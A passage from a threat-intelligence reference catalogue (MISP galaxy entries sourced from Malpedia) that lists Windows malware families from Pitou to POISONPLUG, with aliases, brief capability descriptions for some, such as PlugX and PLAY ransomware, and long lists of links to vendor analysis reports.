- CookieCutter

- SHOTPUT

Table 4764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html
https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Pitou

According to TG Soft, Pitou has beeen released on April 2014. It maybe an evolution of the rootkit "Srzizbi" developed on 2008. Pitou is a spambot, the main goal is send spam form the computer of victim.

The tag is: *misp-galaxy:malpedia="Pitou"*

Pitou is also known as:

Table 4765. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou
https://isc.sans.edu/diary/rss/25068
https://johannesbader.ch/2019/07/the-dga-of-pitou/
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf
https://www.tgsoft.it/english/news_archivio_eng.asp?id=884
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.565.9211&rep=rep1&type=pdf

PittyTiger RAT

The tag is: *misp-galaxy:malpedia="PittyTiger RAT"*

PittyTiger RAT is also known as:

Table 4766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat

https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf

Pkybot

Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.

The tag is: *misp-galaxy:malpedia="Pkybot"*

Pkybot is also known as:

- Bublik
- Pykbot
- TBag

Table 4767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot
http://blog.kleissner.org/?p=788
http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot

PLAINTEE

The tag is: *misp-galaxy:malpedia="PLAINTEE"*

PLAINTEE is also known as:

Table 4768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

PLAY

According to PCrisk, PLAY is the name of a ransomware-type program. Malware categorized as such operates by encrypting data and demanding ransoms for the decryption.

After we executed a sample of this ransomware on our test machine, it encrypted files and appended their filenames with a ".PLAY" extension. For example, a file titled "1.jpg" appeared as "1.jpg.PLAY", "2.png" as "2.png.PLAY", etc. Once the encryption process was completed, PLAY created a text file named "ReadMe.txt" on the desktop.

The tag is: *misp-galaxy:malpedia="PLAY"*

PLAY is also known as:

- PlayCrypt

Table 4769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.play
https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware
https://www.orangecyberdefense.com/global/blog/playing-the-game
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy
https://unit42.paloaltonetworks.com/north-korean-threat-group-play-ransomware/
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://www.avertium.com/resources/threat-reports/an-in-depth-look-at-play-ransomware
https://www.kroll.com/en/insights/publications/cyber/play-ransomware-gains-access-citrix-bleed-vulnerability
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html
https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65
https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/
https://www.bleepingcomputer.com/news/security/rackspace-confirms-play-ransomware-was-behind-recent-cyberattack/
https://adlumin.com/post/playcrypt-ransomware-as-a-service-expands-threat-from-script-kiddies-and-sophisticated-attackers/

https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play

playwork

The tag is: *misp-galaxy:malpedia="playwork"*

playwork is also known as:

Table 4770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork
https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html

PLEAD (Windows)

PLEAD is a RAT used by the actor BlackTech. FireEye uses the synonyms GOODTIMES for the RAT module and DRAWDOWN for the respective downloader.

The tag is: *misp-galaxy:malpedia="PLEAD (Windows)"*

PLEAD (Windows) is also known as:

- DRAWDOWN
- GOODTIMES
- Linopid

Table 4771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plead
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf
https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/
http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html
https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020
https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html
http://www.freebuf.com/column/159865.html
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://securelist.com/apt-trends-report-q2-2019/91897/
https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt

Ploutus ATM

The tag is: *misp-galaxy:malpedia="Ploutus ATM"*

Ploutus ATM is also known as:

Table 4772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm
http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html

https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study
https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam

ployx

The tag is: *misp-galaxy:malpedia="ployx"*

ployx is also known as:

Table 4773. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Ployx-A/detailed-analysis.aspx
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: *misp-galaxy:malpedia="PlugX"*

PlugX is also known as:

- Destroy RAT
- Kaba
- Korplug
- RedDelta
- Sogu
- TIGERPLUG

Table 4774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx
https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets
https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://blog.polyswarm.io/carderbee-targets-hong-kong-in-supply-chain-attack
https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/
https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc.html
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf
https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html
https://mahmoudzohdy.github.io/posts/re/plugx/
https://news.sophos.com/en-us/2023/03/09/border-hopping-plugx-usb-worm/
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20ShadowPad%20-%20A%20Masterpiece%20of%20Privately%20Sold%20Malware%20in%20Chinese%20Espionage%20-%20Yi-Jhen%20Hsieh%20&%20Joey%20Chen.pdf
https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf
https://web.archive.org/web/20210925164035/https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/
https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html
https://www.secureworks.com/research/threat-profiles/bronze-union
https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/
https://www.youtube.com/watch?v=C_TmANnbS2k

https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt

https://www.secureworks.com/research/threat-profiles/bronze-firestone

https://securelist.com/time-of-death-connected-medicine/84315/

https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/

https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader

https://redalert.nshc.net/2022/04/14/hacking-activity-of-sectorb-group-in-2021/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf

https://www.youtube.com/watch?v=-7Swd1ZetiQ

https://blog.talosintelligence.com/dragon-rank-seo-poisoning/

https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf

https://www.secureworks.com/research/threat-profiles/bronze-keystone

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage

https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html

https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware

https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/

https://www.zdnet.com/article/chinese-state-hackers-target-hong-kong-catholic-church/

https://www.mmcert.org.mm/en/file-download/download/public/374

https://www.anomali.com/blog/covid-19-themes-are-being-utilized-by-threat-actors-of-varying-sophistication

https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/

https://unit42.paloaltonetworks.com/thor-plugx-variant/

http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html

https://tracker.h3x.eu/info/290

https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf

https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/

https://raw.githubusercontent.com/m4now4r/Presentations/main/MustangPanda%20-%20Enemy%20at%20the%20gate_final.pdf

https://www.botconf.eu/wp-content/uploads/formidable/2/Botconf2022-19-FaouCoteCyr.pdf

https://unit42.paloaltonetworks.com/unsigned-dlls/

https://www.justice.gov/opa/pr/justice-department-and-fbi-conduct-international-operation-delete-malware-used-china-backed

https://therecord.media/redecho-group-parks-domains-after-public-exposure/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor

https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html

https://blog.xorhex.com/blog/mustangpandaplugx-2/

https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/

https://www.youtube.com/watch?v=qEwBGGgWgOM

https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/

https://github.com/Still34/landing/blob/master/assets/slides/2024-08-Sailing%20the%20Seven%20SEAs.pdf

https://www.cybereason.com/blog/threat-analysis-report-plugx-rat-loader-evolution

https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/

https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/

https://blog.vincss.net/2022/05/re027-china-based-apt-mustang-panda-might-have-still-continued-their-attack-activities-against-organizations-in-Vietnam.html

https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a

https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf

https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0109.pdf

https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/

https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf

https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/

https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf

https://www.us-cert.gov/ncas/alerts/TA17-117A

https://blog.vincss.net/vi/re012-2-phan-tich-ma-doc-loi-dung-dich-covid-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-nguyen-xuan-phuc-phan-2-2/

https://blog.vincss.net/vi/re012-1-phan-tich-ma-doc-loi-dung-dich-covid-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-nguyen-xuan-phuc-phan-1-2/

https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/

https://attack.mitre.org/groups/G0096

https://github.com/cert-orangecyberdefense/cti/tree/main/green_nailao

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf

https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

https://engineers.ffri.jp/entry/2022/11/30/141346

https://web.archive.org/web/20191214125833/https://contextis.com/media/downloads/AVIVORE_An_overview.pdf

https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Detecting-SOGU-with-Google-Security-Operations/ba-p/758777

https://www.secureworks.com/research/threat-profiles/bronze-express

https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html

https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf

https://www.youtube.com/watch?v=r1zAVX_HnJg

https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt

https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/

https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/

https://twitter.com/stvemillertime/status/1261263000960450562

https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/

https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments

https://www.recordedfuture.com/china-linked-ta428-threat-group

https://securelist.com/apt-trends-report-q2-2020/97937/

https://www.secureworks.com/research/bronze-president-targets-ngos

https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

https://www.youtube.com/watch?v=E2_DTQJjDYc

http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html

https://lab52.io/blog/mustang-panda-recent-activity-dll-sideloading-trojans-with-temporal-c2-servers/

https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/

https://www.contextis.com/en/blog/dll-search-order-hijacking

https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_LT4.pdf

https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf

https://archive.is/LJFEF

https://www.orangecyberdefense.com/global/blog/cert-news/meet-nailaolocker-a-ransomware-distributed-in-europe-by-shadowpad-and-plugx-backdoors

https://www.trendmicro.com/en_my/research/18/h/supply-chain-attack-operation-red-signature-targets-south-korean-organizations.html

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia

https://www.secureworks.com/research/threat-profiles/bronze-president

https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims

https://www.secureworks.com/research/threat-profiles/bronze-woodland

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf

https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/

https://www.macnica.net/file/security_report_20160613.pdf

https://www.secureworks.com/research/threat-profiles/bronze-olive

https://blog.vincss.net/re027-china-based-apt-mustang-panda-might-still-have-continued-their-attack-activities-against-organizations-in-vietnam/

https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/

https://www.mandiant.com/resources/blog/infected-usb-steal-secrets

https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf

https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc-phan2.html

https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn

https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/

https://hitcon.org/2024/CMT/slides/Sailing_the_Seven_SEAs_Deep_Dive_into_Polaris_Arsenal_and_Intelligence_Insights.pdf

https://blog.xorhex.com/blog/reddeltaplugxchangeup/

https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/

https://kienmanowar.wordpress.com/2022/12/27/diving-into-a-plugx-sample-of-mustang-panda-group/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/

https://www.trendmicro.com/en_us/research/21/a/xdr-investigation-uncovers-plugx-unique-technique-in-apt-attack.html

https://web.archive.org/web/20200424035112/https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf

https://www.splunk.com/en_us/blog/security/unmasking-the-enigma-a-historical-dive-into-the-world-of-plugx-malware.html

https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html

https://risky.biz/whatiswinnti/

https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/

https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/carderbee-software-supply-chain-certificate-abuse

https://www.secureworks.com/research/threat-profiles/bronze-atlas

https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

https://www.security.com/threat-intelligence/chinese-espionage-ransomware

https://attack.mitre.org/groups/G0001/

https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers

https://community.rsa.com/thread/185439

http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html

https://www.youtube.com/watch?v=IRh6R8o1Q7U

https://www.secureworks.com/research/threat-profiles/bronze-riverside

https://www.recordedfuture.com/redecho-targeting-indian-power-sector/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://asec.ahnlab.com/en/49097/

https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

https://securelist.com/cycldek-bridging-the-air-gap/97157/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf

https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-

https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/

https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html

https://attack.mitre.org/groups/G1021/

https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf

https://www.youtube.com/watch?v=6SDdUVejR2w

https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/

https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/

https://www.lac.co.jp/lacwatch/people/20171218_001445.html

https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/

https://marcoramilli.com/2020/03/19/is-apt27-abusing-covid-19-to-attack-people/

https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european

https://blog.xorhex.com/blog/mustangpandaplugx-1/

https://www.secureworks.com/research/threat-profiles/bronze-overbrook

https://www.secureworks.com/blog/bronze-president-targets-government-officials

https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia

https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited

https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html

https://www.contextis.com/de/blog/avivore

http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/

https://www.trendmicro.com/fr_fr/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html

https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

https://www.trendmicro.com/en_us/research/23/b/investigating-the-plugx-trojan-disguised-as-a-legitimate-windows.html

https://hunt.io/blog/unmasking-adversary-infrastructure-how-certificates-and-redirects-exposed-earth-baxia-and-plugx-activity
http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html
https://www.contextis.com/en/blog/avivore
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://bluecyber.hashnode.dev/plugx-bad-guy-disguises-as-an-msi-file
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report
https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader
https://go.recordedfuture.com/hubfs/reports/cta-2024-1209.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/
https://blog.ensilo.com/uncovering-new-activity-by-apt10
https://twitter.com/xorhex/status/1399906601562165249?s=20
https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_7_hara_nakajima_kawakami_en.pdf
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf
https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/
https://www.sygnia.co/blog/china-nexus-threat-group-velvet-ant/
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_8_yi-chin_yu-tung_en.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf

Plurox

The tag is: *misp-galaxy:malpedia="Plurox"*

Plurox is also known as:

Table 4775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox

https://sysopfb.github.io/malware,/crypters/2019/09/23/Plurox-packer-layer-unpacked.html
https://securelist.com/plurox-modular-backdoor/91213/

pngdowner

The tag is: *misp-galaxy:malpedia="pngdowner"*

pngdowner is also known as:

Table 4776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner
https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31
https://attack.mitre.org/groups/G0024

PNGLoad

According to ESET Research, PNGLoad is a second-stage payload deployed by Worok on compromised systems and loaded either by CLRLoad or PowHeartBeat. PNGLoad has capabilities to download and execute additional payloads from a C&C server, which is likely how the attackers have deployed PNGLoad on systems compromised with PowHeartBeat. PNGLoad is a loader that uses bytes from PNG files to create a payload to execute. It is a 64-bit .NET executable - obfuscated with .NET Reactor - that masquerades as legitimate software.

The tag is: *misp-galaxy:malpedia="PNGLoad"*

PNGLoad is also known as:

Table 4777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.png_load
https://www.welivesecurity.com/2022/09/06/worok-big-picture/

PocoDown

uses POCO C++ cross-platform library, Xor-based string obfuscation, SSL library code and string overlap with Xtunnel, infrastructure overlap with X-Agent, probably in use since mid-2018

The tag is: *misp-galaxy:malpedia="PocoDown"*

PocoDown is also known as:

- Blitz
- PocoDownloader

Table 4778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown
https://threatvector.cylance.com/en_us/home/inside-the-apt28-dll-backdoor-blitz.html
https://threatvector.cylance.com/en_us/home/flirting-with-ida-and-apt28.html
https://twitter.com/cyb3rops/status/1129653190444703744

Poco RAT

The tag is: *misp-galaxy:malpedia="Poco RAT"*

Poco RAT is also known as:

Table 4779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poco_rat
https://www.broadcom.com/support/security-center/protection-bulletin/new-poco-rat-distribution-campaign

POISONPLUG

According to FireEye, POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands.

The tag is: *misp-galaxy:malpedia="POISONPLUG"*

POISONPLUG is also known as:

- Barlaiy

Table 4780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poisonplug
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://content.fireeye.com/apt-41/rpt-apt41/
